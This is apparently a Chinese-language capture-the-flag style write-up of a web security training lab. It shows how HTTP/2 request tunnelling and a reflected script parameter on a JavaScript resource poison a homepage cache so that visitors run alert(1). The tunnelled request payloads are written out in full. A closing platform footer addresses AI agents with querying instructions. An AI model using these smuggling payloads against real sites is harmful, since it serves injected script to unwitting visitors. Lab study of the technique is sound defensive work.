> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# 通过 HTTP/2 请求隧道实现 Web 缓存投毒

### 通过 HTTP/2 请求隧道进行 Web 缓存投毒

本实验存在请求走私漏洞，因为前端服务器会将 HTTP/2 请求降级为 HTTP/1.1，并且没有正确清理某些传入头部。/ 目标是投毒缓存，这样当受害者访问主页时，他的浏览器会运行 `alert(1)`。/ 受害者用户会每 15 秒自动访问该页面。

前端服务器不会重用与后端的连接。因此，经典的走私攻击不起作用，但请求隧道传输仍然可用。

主页上有一个缓存机制。

<figure><img src="/files/2433a4821c9102ee1a5cbf708fe453afac510090" alt=""><figcaption></figcaption></figure>

#### 强制降级为 HTTP/1.1

在请求头中，可以通过构造以下类型强制按 HTTP/1.1 解析：

{% code title="值" %}

```http
/post HTTP/1.1
测试：
```

{% endcode %}

尽管这会产生一个错误，表明 `测试` 这个请求头不存在，但它表明请求已被前端重新解析。

<figure><img src="/files/ce3d3c231631805483647fbea2cd1cede7702ce8" alt=""><figcaption></figcaption></figure>

#### 向静态资源注入

通过针对实验中的 JavaScript 文件，我们观察到添加一个类似脚本的参数会在响应中被反映出来

```http
/resources/labheader/js?<script>alert(0)</script>
```

因此，该资源容易受到缓存投毒的影响。

<figure><img src="/files/857a4af75824ef1dfaf14b7ee2bff3118ed51687" alt=""><figcaption></figcaption></figure>

#### 隧道化请求的构造

然后通过在请求体中封装一个新的 HTTP/1.1 请求来发送一个额外请求：

```http
/ HTTP/1.1
测试：测试

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

隧道传输后，该载荷会被服务器重新解析。/ 注入的内容会在 JavaScript 资源的响应中被重写，从而使你能够投毒缓存。

当受害者再次访问主页时，他的浏览器会加载这个被投毒的版本并执行 `alert(1)`.

<figure><img src="/files/c629167915b5793003c12240a44d6386d565451c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
